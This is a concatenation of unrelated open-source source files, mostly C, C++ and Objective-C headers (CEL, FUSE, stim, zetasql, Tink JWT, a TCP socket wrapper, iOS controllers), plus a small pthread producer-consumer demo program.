#ifndef THIRD_PARTY_CEL_CPP_EVAL_PUBLIC_CONTAINERS_FIELD_BACKED_MAP_IMPL_H_ #define THIRD_PARTY_CEL_CPP_EVAL_PUBLIC_CONTAINERS_FIELD_BACKED_MAP_IMPL_H_ #include "google/protobuf/descriptor.h" #include "google/protobuf/message.h" #include "absl/status/statusor.h" #include "eval/public/cel_value.h" namespace google { namespace api { namespace expr { namespace runtime { // CelMap implementation that uses "map" message field // as backing storage. class FieldBackedMapImpl : public CelMap { public: // message contains the "map" field. Object stores the pointer // to the message, thus it is expected that message outlives the // object. // descriptor FieldDescriptor for the field FieldBackedMapImpl(const google::protobuf::Message* message, const google::protobuf::FieldDescriptor* descriptor, google::protobuf::Arena* arena); // Map size. int size() const override; // Map element access operator. absl::optional<CelValue> operator[](CelValue key) const override; // Presence test function. absl::StatusOr<bool> Has(const CelValue& key) const override; const CelList* ListKeys() const override; protected: // These methods are exposed as protected methods for testing purposes since // whether one or the other is used depends on build time flags, but each // should be tested accordingly. absl::StatusOr<bool> LookupMapValue( const CelValue& key, google::protobuf::MapValueConstRef* value_ref) const; absl::StatusOr<bool> LegacyHasMapValue(const CelValue& key) const; absl::optional<CelValue> LegacyLookupMapValue(const CelValue& key) const; private: const google::protobuf::Message* message_; const google::protobuf::FieldDescriptor* descriptor_; const google::protobuf::FieldDescriptor* key_desc_; const google::protobuf::FieldDescriptor* value_desc_; const google::protobuf::Reflection* reflection_; google::protobuf::Arena* arena_; std::unique_ptr<CelList> key_list_; }; } // namespace runtime } // namespace expr } // namespace api } // namespace google #endif // THIRD_PARTY_CEL_CPP_EVAL_PUBLIC_CONTAINERS_FIELD_BACKED_MAP_IMPL_H_
#ifndef __ctkPythonConsoleExport_h #define __ctkPythonConsoleExport_h #if defined(WIN32) #if defined(ctkPythonConsole_EXPORTS) #define CTK_PYTHON_CONSOLE_EXPORT __declspec( dllexport ) #else #define CTK_PYTHON_CONSOLE_EXPORT __declspec( dllimport ) #endif #else #define CTK_PYTHON_CONSOLE_EXPORT #endif #endif // __ctkPythonConsoleExport_h
// // AnswersViewController.h // QnA // // Created by Jack Li on 4/10/16. // Copyright © 2016 Jack Li. All rights reserved. // #import <UIKit/UIKit.h> #import <FDataSnapshot.h> @interface AnswersViewController : UIViewController @property (nonatomic) FDataSnapshot* question; @end
/* Copyright (c) 2012 BDT Media Automation GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * FuseBDT.h * * Created on: Mar 6, 2012 * Author: More Zeng */ #pragma once #include "FuseHeader.h" #include "FuseBase.h" class FuseBDT : public FuseBase { public: FuseBDT(); virtual ~FuseBDT(); virtual int getattr (const char *, struct stat *); virtual int readlink (const char *, char *, size_t); // virtual int getdir (const char *, fuse_dirh_t, fuse_dirfil_t); virtual int mknod (const char *, mode_t, dev_t); virtual int mkdir (const char *, mode_t); virtual int unlink (const char *); virtual int rmdir (const char *); virtual int symlink (const char *, const char *); virtual int rename (const char *, const char *); virtual int link (const char *, const char *); virtual int chmod (const char *, mode_t); virtual int chown (const char *, uid_t, gid_t); virtual int truncate (const char *, off_t); virtual int utime (const char *, struct utimbuf *); virtual int open (const char *, struct fuse_file_info *); virtual int read (const char *, char *, size_t, off_t, struct fuse_file_info *); virtual int write (const char *, const char *, size_t, off_t, struct fuse_file_info *); virtual int statfs (const char *, struct statvfs *); virtual int flush (const char *, struct fuse_file_info *); virtual int release (const char *, struct fuse_file_info *); virtual int fsync (const char *, int, struct fuse_file_info *); virtual int setxattr (const char *, const char *, const char *, size_t, int); virtual int getxattr (const char *, const char *, char *, size_t); virtual int listxattr (const char *, char *, size_t); virtual int removexattr (const char *, const char *); virtual int opendir(const char *, struct fuse_file_info *); virtual int readdir(const char *, void *, fuse_fill_dir_t, off_t, struct fuse_file_info *); virtual int releasedir(const char *, struct fuse_file_info *); virtual int fsyncdir(const char *, int, struct fuse_file_info *); virtual void * init(struct fuse_conn_info *); virtual void destroy(void *); virtual int access(const char *, int); virtual int create(const char *, mode_t, struct fuse_file_info *); virtual int ftruncate(const char *, off_t, struct fuse_file_info *); virtual int fgetattr(const char *, struct stat *, struct fuse_file_info *); private: auto_ptr<ServiceServer> server_; MetaManager * meta_; typedef map< string, boost::mutex * > MutexMap; MutexMap mutex_; boost::mutex * GetMutex(const string & tape) { MutexMap::iterator pos = mutex_.find(tape); if ( pos == mutex_.end() ) { mutex_.insert( MutexMap::value_type( tape, new boost::mutex() ) ); pos = mutex_.find(tape); } return pos->second; } FileOperationInterface * OpenFile(const char *, int); };
#ifndef GENETICALGORITHM_GENETICALGORITHM_H #define GENETICALGORITHM_GENETICALGORITHM_H #ifdef __INTEL_COMPILER #include <mpi.h> #include "../../Libraries/Timer.h" #else #include <openmpi/mpi.h> #endif #include <functional> #include <vector> #include <list> #include <algorithm> #include <iostream> #include <sstream> #include <time.h> #include <C++/png++-0.2.5/png.hpp> #include <tgmath.h> #include "Structures/Point.h" #include "Structures/Comparison.h" #include "Structures/Color.h" #include "Structures/Rectangle.h" #include "Structures/Pixel.h" #include "Structures/LightRand.h" #include "Image.h" class GeneticAlgorithm { private: int height, width, population, generation, elite; long sizeOfRectangleTable; #ifndef __MIC__ png::image<png::rgb_pixel> inputImage; #endif Timer mainTimer, scoreTimer, mutationTimer, generationTimer; Rectangle* imagesRectangles = nullptr; Comparison *comparisonResults = nullptr; Image* nativeImage = nullptr; static unsigned long validsqrt; double compare(Image *first, Image *second); Rectangle getNewRectangle(); void mutation(Rectangle *source, Rectangle *first, Rectangle *second); void generateRectanglesForImages(Rectangle *rectangle); void drawRectanglesOnImage(Image &image, const Rectangle *rectangles); void generateRectangles(); void mutateElite(); public: int GenerationsLeft; Image OutputImage; GeneticAlgorithm(int population, int generation, int elite, const char* fileName); #ifndef __MIC__ Image * TransformPngToNativeImage(png::image<png::rgb_pixel> image); png::image<png::rgb_pixel> ConvertToPng(Image& image); #endif void Calculate(); void ClearImage(Image& image, int height, int width); double CalculateValueOfImage(const Rectangle* vector); void SortComparisions() const; ~GeneticAlgorithm(); int commSize; int lastError; int commRank; void CalculateValuesInParallel(int generationsLeft, int generation1); void DistributeCalculations(int starting, int ending, std::function<int(int)> adressProvider); MPI_Datatype mpi_pixel_type; void InitCustomTypes(); MPI_Datatype mpi_point_type; MPI_Datatype mpi_color_type; MPI_Datatype mpi_rectangle_type; void ReceiveAndCalculate(); bool IsGood(Rectangle rectangle); }; #endif //GENETICALGORITHM_GENETICALGORITHM_H
/* * Copyright 2012 Epyx Team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * @file dht/process-actor.h * @brief define process actors. */ #ifndef EPYX_DHT_PROCESS_ACTOR_H #define EPYX_DHT_PROCESS_ACTOR_H #include "../core/common.h" #include "../core/actor.h" #include "../n2np/nodeid.h" #include "peer.h" #include "packet.h" namespace Epyx { namespace DHT { class InternalNode; /** * @class ProcessActor * @brief the base class of every process Actor * * A process actor sends messages with a specific connectionId * and waits for the answer or timeouts. */ class ProcessActor: public Actor { public: ProcessActor(InternalNode& n); virtual ~ProcessActor(); //Fired by internal node when there is a new packet for this actor void treat(EPYX_AQA("process receive"), Peer::SPtr peer, Packet::SPtr pkt); //Fired by the actor manager when a query timed out void timeout(EPYX_AQA("process timeout"), long pNumber); protected: //To be used when we want to send a message, adds the connectionId long sendQuery(Peer::SPtr peer, Packet& pkt, Timeout timeout); //Callback for when we receive a message virtual void onNewAnswer(Peer::SPtr peer, Packet::SPtr pkt) = 0; //Callback for when a query times out virtual void onAnswerTimeout(long id); InternalNode& n; private: std::map<long, bool> queries; }; } } #endif //EPYX_DHT_STATIC_ACTOR_H
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef _STIM_PY_COMPILED_MEASUREMENT_SAMPLER_PYBIND_H #define _STIM_PY_COMPILED_MEASUREMENT_SAMPLER_PYBIND_H #include <pybind11/numpy.h> #include <pybind11/pybind11.h> #include <pybind11/stl.h> #include "stim/circuit/circuit.h" #include "stim/mem/simd_bits.h" struct CompiledMeasurementSampler { const stim::simd_bits ref_sample; const stim::Circuit circuit; const bool skip_reference_sample; std::shared_ptr<std::mt19937_64> prng; CompiledMeasurementSampler() = delete; CompiledMeasurementSampler(const CompiledMeasurementSampler &) = delete; CompiledMeasurementSampler(CompiledMeasurementSampler &&) = default; CompiledMeasurementSampler( stim::simd_bits ref_sample, stim::Circuit circuit, bool skip_reference_sample, std::shared_ptr<std::mt19937_64> prng); pybind11::array_t<uint8_t> sample(size_t num_samples); pybind11::array_t<uint8_t> sample_bit_packed(size_t num_samples); void sample_write(size_t num_samples, const std::string &filepath, const std::string &format); std::string repr() const; }; pybind11::class_<CompiledMeasurementSampler> pybind_compiled_measurement_sampler_class(pybind11::module &m); void pybind_compiled_measurement_sampler_methods(pybind11::class_<CompiledMeasurementSampler> &c); CompiledMeasurementSampler py_init_compiled_sampler( const stim::Circuit &circuit, bool skip_reference_sample, const pybind11::object &seed); #endif
// // HMViewController.h // 04-加密 // // Created by apple on 14-6-26. // Copyright (c) 2014年 heima. All rights reserved. // #import <UIKit/UIKit.h> @interface HMViewController : UIViewController @end
/* * @Author: Adrien Chardon * @Date: 2014-04-16 23:53:27 * @Last Modified by: Adrien Chardon * @Last Modified time: 2014-04-27 01:36:54 */ #ifndef FT_UTILS_H #define FT_UTILS_H /************* * INCLUDE * *************/ #include <stdlib.h> /* NULL */ #include <stdio.h> /* printf */ #include <sys/types.h> /* size_t */ #include <string.h> /* strcmp */ #include <math.h> /* M_PI */ #include "cJSON.h" #include "cbot.h" #include "constantes.h" #include "ft_orders.h" void ft_orders_update(t_order *orders, t_track_info *trackInfo); cJSON *ft_utils_find_car_pos(char *botName, cJSON *msgData); void ft_main_new_lap(t_data *data, cJSON *json); void ft_main_loop(int sock, char *botName); void ft_main_data_parse(cJSON *json, t_data *data, int tick); cJSON *ft_main_msg_make(cJSON *msgType, t_data *data); void ft_init_get_orders(t_data *data, cJSON *msgData); void ft_update_car_data(cJSON *msgData, t_data *data, int tick); char *ft_trackName_get(cJSON *data); cJSON *ft_utils_field_find(char *s, cJSON* head); void ft_print_raw_data(char *type, cJSON *data); void ft_print_gameInit_data(t_data *data); #endif /* FT_UTILS_H */
/* * Copyright 2018 Sergey Khabarov, sergeykhbr@gmail.com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef __DEBUGGER_ITHREAD_H__ #define __DEBUGGER_ITHREAD_H__ #include <iface.h> #include <api_core.h> namespace debugger { static const char *const IFACE_THREAD = "IThread"; class IThread : public IFace { public: IThread() : IFace(IFACE_THREAD) { AttributeType t1; RISCV_generate_name(&t1); RISCV_event_create(&loopEnable_, t1.to_string()); threadInit_.Handle = 0; } /** create and start seperate thread */ virtual bool run() { threadInit_.func = reinterpret_cast<lib_thread_func>(runThread); threadInit_.args = this; RISCV_thread_create(&threadInit_); if (threadInit_.Handle) { RISCV_event_set(&loopEnable_); } return loopEnable_.state; } /** @brief Stop and join thread */ virtual void stop() { RISCV_event_clear(&loopEnable_); if (threadInit_.Handle) { RISCV_thread_join(threadInit_.Handle, 50000); } threadInit_.Handle = 0; } /** check thread status */ virtual bool isEnabled() { return loopEnable_.state; } /** Pass data from the parent thread */ virtual void setExtArgument(void *args) {} protected: /** working cycle function */ virtual void busyLoop() =0; static void runThread(void *arg) { reinterpret_cast<IThread *>(arg)->busyLoop(); } protected: event_def loopEnable_; LibThreadType threadInit_; }; } // namespace debugger #endif // __DEBUGGER_ITHREAD_H__
// // Copyright 2019 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #ifndef ZETASQL_COMMON_TESTING_STATUS_PAYLOAD_MATCHERS_OSS_H_ #define ZETASQL_COMMON_TESTING_STATUS_PAYLOAD_MATCHERS_OSS_H_ // Testing utilities for working with absl::Status and absl::StatusOr. // // Defines the following utilities: // // ================================= // StatusHasPayload(payload_matcher) // ================================= // // Matches an absl::Status or absl::StatusOr<T> value whose status value is // not absl::Status::Ok and whose payload has a matching message. Note // that it is sufficient for the payload_matcher to match a single payload // message which is selected based on the requested type. // // Example: // using ::zetasql_base::testing::StatusHasPayload; // // StatusOr<string> error = absl::InternalError("error"); // MyProto my_proto; // my_proto.... // zetasql::internal::AttachPayload(&rror, my_proto); // // // Test for an actual matching message. // EXPECT_THAT(error, StatusHasPayload<MyProto>(EqualsProto(my_proto))); // // // Test for the presence of an attachment of the specified type. // EXPECT_THAT(error, StatusHasPayload<MyProto>()); // // // Test for the presence of any attachment of any type. // EXPECT_THAT(error, StatusHasPayload()); // #include <ostream> #include <string> #include <type_traits> #include "google/protobuf/descriptor.h" #include "zetasql/common/status_payload_utils.h" #include "absl/status/status.h" #include "absl/status/statusor.h" #include "absl/strings/string_view.h" #include "zetasql/base/testing/status_matchers.h" namespace zetasql { namespace testing { namespace internal_status { using ::zetasql_base::testing::internal_status::GetStatus; template <typename T, typename PayloadProtoType> class PayloadMatcherImpl : public ::testing::MatcherInterface<T> { public: using PayloadProtoMatcher = ::testing::Matcher<PayloadProtoType>; explicit PayloadMatcherImpl(const PayloadProtoMatcher& payload_proto_matcher) : payload_proto_matcher_(payload_proto_matcher) {} void DescribeTo(std::ostream* os) const override { *os << "has a payload that "; payload_proto_matcher_.DescribeTo(os); } void DescribeNegationTo(std::ostream* os) const override { *os << "has no payload that "; payload_proto_matcher_.DescribeTo(os); } bool MatchAndExplain(T actual, ::testing::MatchResultListener* o) const override { const auto& actual_status = GetStatus(actual); if (actual_status.ok()) { *o << "which is OK and has no payload"; return false; } if (!zetasql::internal::HasPayloadWithType<PayloadProtoType>( actual_status)) { *o << "which has no payload of type " << PayloadProtoType::descriptor()->full_name(); return false; } const PayloadProtoType message = zetasql::internal::GetPayload<PayloadProtoType>(actual_status); return payload_proto_matcher_.MatchAndExplain(message, o); } private: const PayloadProtoMatcher payload_proto_matcher_; }; template <typename PayloadProtoType, typename Enable = void> class PayloadMatcher {}; template <typename T> using IsMessageType = std::is_base_of<::google::protobuf::Message, T>; template <typename PayloadProtoType> class PayloadMatcher< PayloadProtoType, absl::enable_if_t<IsMessageType<PayloadProtoType>::value>> { public: using PayloadProtoMatcher = ::testing::Matcher<PayloadProtoType>; explicit PayloadMatcher(PayloadProtoMatcher&& payload_proto_matcher) : payload_proto_matcher_(std::move(payload_proto_matcher)) {} // Converts this polymorphic matcher to a monomorphic matcher of the // given type. StatusOrType can be either StatusOr<T> or a // reference to StatusOr<T>. template <typename StatusOrType> operator ::testing::Matcher<StatusOrType>() const { // NOLINT return ::testing::Matcher<StatusOrType>( new PayloadMatcherImpl<const StatusOrType&, PayloadProtoType>( payload_proto_matcher_)); } private: const PayloadProtoMatcher payload_proto_matcher_; }; } // namespace internal_status // Returns a gMock matcher that matches the payload of a Status or StatusOr<> // against payload_matcher. // We do not default to google::protobuf::Message since we want the exact type to be // specified. template <typename PayloadProtoType> inline internal_status::PayloadMatcher<PayloadProtoType> StatusHasPayload( ::testing::Matcher<PayloadProtoType> payload_proto_matcher) { return internal_status::PayloadMatcher<PayloadProtoType>( std::move(::testing::Matcher<PayloadProtoType>(payload_proto_matcher))); } // Returns a gMock matcher that matches if a Status or StatusOr<> has a payload // of the requested type. // The requested type defaults to google::protobuf::Message, so that we can test for the // presence of any type and thus any payload of any type. template <typename PayloadProtoType = google::protobuf::Message> inline internal_status::PayloadMatcher<PayloadProtoType> StatusHasPayload() { return internal_status::PayloadMatcher<PayloadProtoType>( ::testing::A<PayloadProtoType>()); } } // namespace testing } // namespace zetasql #endif // ZETASQL_COMMON_TESTING_STATUS_PAYLOAD_MATCHERS_OSS_H_
#ifndef TCPSOCK_H #define TCPSOCK_H 1 #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #ifdef __cplusplus #include <istream> #include <ostream> #include <streambuf> #include <iosfwd> #include <iostream> #include <ext/stdio_filebuf.h> // GNU C++ extension -- for making a filebuf from a unix file descriptor class fdistream : public std::istream { int fd_; FILE *f_; typedef __gnu_cxx::stdio_filebuf<char> stdio_filebuf; stdio_filebuf fdsb_; public: fdistream( int fd ); ~fdistream(); }; class TCPsocket { public: int fd_; enum sockstate { INVALID, LISTENING, CONNECTING, CONNECTED } state_; int backlog_; bool nonblock_; struct sockaddr_in sin_; bool mksock( const char *name, bool nonblock ); bool do_accept(); void connectwith( const char *name, int port, bool nonblock ); void listenwith( int listenport, bool await_first_contact, int backlog, bool nonblock ); public: TCPsocket( const char *name, int port, bool nonblock = false ); // connect() TCPsocket( int listenport, bool await_first_contact = true, int backlog = 5, bool nonblock = false ); // listen() TCPsocket( TCPsocket &listener, bool nonblock = false ); ~TCPsocket(); bool valid() const { return state_ != INVALID; } enum sockstate state() const { return state_; } bool connected() const { return state_ == CONNECTED; } bool listening() const { return state_ == LISTENING; } void nonblock( bool nb ); bool be_connected(); // wait for connection; false on failure int fd() const { return fd_; } // suitable for select()ing bool ready(); bool await( int usecs = -1 ); fdistream *new_istream() { if(!be_connected()) return 0; return new fdistream( fd() ); } }; #define EXTERNC extern "C" #else /* not C++, just plain C */ struct TCPsocket; /* opaque structure */ #define EXTERNC extern #endif /* C interface */ EXTERNC struct TCPsocket *tcpconnect( char *name, int port, int nonblock ); EXTERNC struct TCPsocket *tcplisten( int port, int await_first_contact, int backlog, int nonblock ); EXTERNC struct TCPsocket *tcpaccept( struct TCPsocket *listener, int nonblock ); EXTERNC void tcpclose( struct TCPsocket *ts ); EXTERNC int tcpvalid( struct TCPsocket *ts ); EXTERNC int tcpconnected( struct TCPsocket *ts ); EXTERNC int tcplistening( struct TCPsocket *ts ); EXTERNC int tcpnonblock( struct TCPsocket *ts, int nonblock ); EXTERNC int tcpbe_connected( struct TCPsocket *ts ); EXTERNC int tcpfd( struct TCPsocket *ts ); EXTERNC int tcpawait( struct TCPsocket *ts, int maxusecs ); /* any data ready? wait up to that long, -1 => forever */ #undef EXTERNC #endif /*TCPSOCK_H*/
/* Copyright (c) 2007 Cyrus Daboo. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Header for CUCS4 class #ifndef __CUCS4__MULBERRY__ #define __CUCS4__MULBERRY__ #include "CConverterBase.h" namespace i18n { class CUCS4 : public CConverterBase { public: CUCS4() { mBigEndian = true; } virtual ~CUCS4() {} virtual wchar_t c_2_w(const unsigned char*& c); virtual int w_2_c(wchar_t wc, char* out); virtual bool SetEndian(const bool IsBigEndian); private: bool mBigEndian; }; } #endif
// // XWModelCacheStrategyWrite.h // FrameObject // // Created by shenba on 16/4/8. // Copyright © 2016年 xiaowen. All rights reserved. // #import "XWModelCacheStrategy.h" @interface XWModelCacheStrategyWrite : XWModelCacheStrategy @property(assign,nonatomic)int cacheTime;//时间(单位s),-1表示强制覆盖,-2表示不写,其他情况表示缓存是否已经超过这个时间 @end
#import <Foundation/Foundation.h> #import "SystranObject.h" /** * NOTE: This class is auto generated by the swagger code generator program. * https://github.com/swagger-api/swagger-codegen * Do not edit the class manually. */ @protocol SystranSpeechSpeaker @end @interface SystranSpeechSpeaker : SystranObject /* Speaker id */ @property(nonatomic) NSString* _id; /* Channel id */ @property(nonatomic) NSNumber* channel; /* Speech duration (in seconds) */ @property(nonatomic) NSNumber* duration; /* Gender */ @property(nonatomic) NSString* gender; @end
#ifndef __UART_FOR_PC_H #define __UART_FOR_PC_H #include "stdio.h" #include "stm32f10x.h" ////////////////////////////////////////////////////////////////////////////////// extern u8 USART_RX_BUF[64]; //½ÓÊÕ»º³å,×î´ó63¸ö×Ö½Ú.Ä©×Ö½ÚΪ»»Ðзû extern u8 USART_RX_STA; //½ÓÊÕ״̬±ê¼Ç void uart_init(u32 bound); void PrintChar(char *s); void UsartSend(u16 ch); void UART1_ReportIMU(int16_t yaw,int16_t pitch,int16_t roll ,int16_t alt,int16_t tempr,int16_t press,int16_t IMUpersec); void CRC_send(int *s); #endif
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // /////////////////////////////////////////////////////////////////////////////// #ifndef TINK_JWT_INTERNAL_RAW_JWT_RSA_SSA_PSS_VERIFY_KEY_MANAGER_H_ #define TINK_JWT_INTERNAL_RAW_JWT_RSA_SSA_PSS_VERIFY_KEY_MANAGER_H_ #include <string> #include "absl/memory/memory.h" #include "absl/strings/str_cat.h" #include "tink/core/key_type_manager.h" #include "tink/public_key_verify.h" #include "tink/util/constants.h" #include "tink/util/errors.h" #include "tink/util/protobuf_helper.h" #include "tink/util/status.h" #include "tink/util/statusor.h" #include "proto/jwt_rsa_ssa_pss.pb.h" #include "proto/tink.pb.h" #include "proto/common.pb.h" namespace crypto { namespace tink { class RawJwtRsaSsaPssVerifyKeyManager : public KeyTypeManager<google::crypto::tink::JwtRsaSsaPssPublicKey, void, List<PublicKeyVerify>> { public: class PublicKeyVerifyFactory : public PrimitiveFactory<PublicKeyVerify> { crypto::tink::util::StatusOr<std::unique_ptr<PublicKeyVerify>> Create( const google::crypto::tink::JwtRsaSsaPssPublicKey& rsa_ssa_pss_public_key) const override; }; RawJwtRsaSsaPssVerifyKeyManager() : KeyTypeManager(absl::make_unique<PublicKeyVerifyFactory>()) {} uint32_t get_version() const override { return 0; } google::crypto::tink::KeyData::KeyMaterialType key_material_type() const override { return google::crypto::tink::KeyData::ASYMMETRIC_PUBLIC; } const std::string& get_key_type() const override { return key_type_; } crypto::tink::util::Status ValidateKey( const google::crypto::tink::JwtRsaSsaPssPublicKey& key) const override; internal::FipsCompatibility FipsStatus() const override { return internal::FipsCompatibility::kRequiresBoringCrypto; } private: static crypto::tink::util::Status ValidateAlgorithm( const google::crypto::tink::JwtRsaSsaPssAlgorithm& algorithm); static crypto::tink::util::StatusOr<google::crypto::tink::HashType> HashForPssAlgorithm( const google::crypto::tink::JwtRsaSsaPssAlgorithm& algorithm); static crypto::tink::util::StatusOr<int> SaltLengthForPssAlgorithm( const google::crypto::tink::JwtRsaSsaPssAlgorithm& algorithm); const std::string key_type_ = absl::StrCat(kTypeGoogleapisCom, google::crypto::tink::JwtRsaSsaPssPublicKey().GetTypeName()); friend class RawJwtRsaSsaPssSignKeyManager; }; } // namespace tink } // namespace crypto #endif // TINK_JWT_INTERNAL_RAW_JWT_RSA_SSA_PSS_VERIFY_KEY_MANAGER_H_
#include <pthread.h> #include <stdio.h> #include<string.h> #include<stdlib.h> // shared buffer, adjust this size and notice the interleaving #define BSIZE 3 typedef struct { char buf[BSIZE]; int occupied; int nextin, nextout; pthread_mutex_t mutex; pthread_cond_t more; pthread_cond_t less; } buffer_t; buffer_t buffer; // running flag for thread termination int done = 0; int sleep_time; // threads, and pointers to associated functions void * producerFunction(void *); void * consumerFunction(void *); pthread_t producerThread; pthread_t consumerThread; // // program entry point // int main( int argc, char *argv[] ) { // sanity check int r=0; if(argc==3 && strcmp(argv[1],"-r")==0) { r = rand()% atoi(argv[2]); } else if( argc == 2 ) { r= atoi(argv[1]); } else { printf("\tusage: bound sleeptime \n\tusage1: ./bound -r <sleeptime> \n\tusage2: ./bound <sleeptime> \n"); return(0); } // get parameters //sleep_time = atoi(argv[1]); sleep_time = r; pthread_cond_init(&(buffer.more), NULL); pthread_cond_init(&(buffer.less), NULL); pthread_create(&consumerThread, NULL, consumerFunction, NULL); pthread_create(&producerThread, NULL, producerFunction, NULL); pthread_join(consumerThread, NULL); pthread_join(producerThread, NULL); printf("main() exiting properly, both threads have terminated. \n"); return(1); } void* producerFunction(void * parm) { printf("producer starting... \n"); // objects to produce, place in buffer for the consumer char item[]= "More than meets the eye!"; int i; for( i=0 ;; i++){ // done producing when end of null terminated string if( item[i] == '\0') { break; } // acquire lock if(pthread_mutex_lock(&(buffer.mutex))==0) { printf("producer has the lock. \n"); } // debug info if(BSIZE <= buffer.occupied) { printf("producer waiting, full buffer ... \n"); } // wait condition while( buffer.occupied >= BSIZE ) pthread_cond_wait(&(buffer.less), &(buffer.mutex) ); // add to the buffer buffer.buf[buffer.nextin++] = item[i]; buffer.nextin %= BSIZE; buffer.occupied++; // debug info printf("producing object number: %i [%c]\n", i, item[i]); // signal the producer, release the lock pthread_mutex_unlock(&(buffer.mutex)); pthread_cond_signal(&(buffer.more)); // impose a delay to show mutual exclusion sleep(sleep_time); } // tell consumer we are no longer producing more items //pthread_cond_signal(&(buffer.more)); done = 1; pthread_cond_signal(&(buffer.more)); printf("producer exiting. \n"); pthread_exit(0); } void* consumerFunction(void * parm) { printf("consumer starting \n"); char item; int i; for( i=0 ;; i++ ){ // is the producer still running? // acquire lock if( pthread_mutex_lock(&(buffer.mutex)) == 0 ) printf("consumer has the lock. \n"); // debug info if (0 >= buffer.occupied) printf("consumer waiting, empty buffer ... \n"); // wait condition while(buffer.occupied <= 0 && done!=1) { pthread_cond_wait(&(buffer.more), &(buffer.mutex)); } if(1==done && buffer.occupied <=0) break; // consume from buffer by displaying to the terminal item = buffer.buf[buffer.nextout++]; buffer.nextout %=BSIZE; printf("consuming object number %i [%c]\n", i ,item); // now there is room in the buffer for the producer to add buffer.occupied--; // signal the producer, and release the lock pthread_mutex_unlock(&(buffer.mutex)); pthread_cond_signal(&(buffer.less)); } printf("consumer exiting. \n"); pthread_exit(0); }
// // LSCModuleExporter.h // LuaScriptCore // // Created by 冯鸿杰 on 2017/9/5. // Copyright © 2017年 vimfung. All rights reserved. // #import <Foundation/Foundation.h> #import "LSCExportType.h" #import "LSCEngineAdapter.h" @class LSCContext; @class LSCOperationQueue; /** 类型导出器 */ @interface LSCExportsTypeManager : NSObject /** 初始化 @param context 上下文对象 @return 导出器对象 */ - (instancetype)initWithContext:(LSCContext *)context; /** 检测对象实例是否为一个导出类型 @param object 对象实例 @return YES 是导出类型,否则不是. */ - (BOOL)checkExportsTypeWithObject:(id)object; /** 根据一个原生对象创建一个Lua对象 @param object 对象实例 */ - (void)createLuaObjectByObject:(id)object; /** 根据一个原生对象创建一个Lua对象 @param object 对象实例 @param state 状态 @param queue 队列 */ - (void)createLuaObjectByObject:(id)object state:(lua_State *)state queue:(LSCOperationQueue *)queue; @end
//****************************************************************** // // Copyright 2015 Samsung Electronics All Rights Reserved. // //-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #ifndef SOFTSENSOR_SAMPLEBUNDLE_H_ #define SOFTSENSOR_SAMPLEBUNDLE_H_ #include "ResourceContainerBundleAPI.h" #include "BundleActivator.h" #include "BundleResource.h" using namespace OIC::Service; class SoftSensorBundleActivator : public BundleActivator { public: SoftSensorBundleActivator(); ~SoftSensorBundleActivator(); void activateBundle(ResourceContainerBundleAPI *resourceContainer, std::string bundleId); void deactivateBundle(); void createResource(resourceInfo resourceInfo); void destroyResource(BundleResource *pBundleResource); std::string m_bundleId; ResourceContainerBundleAPI *m_pResourceContainer; std::vector<BundleResource *> m_vecResources; }; #endif /* SOFTSENSOR_SAMPLEBUNDLE_H_ */
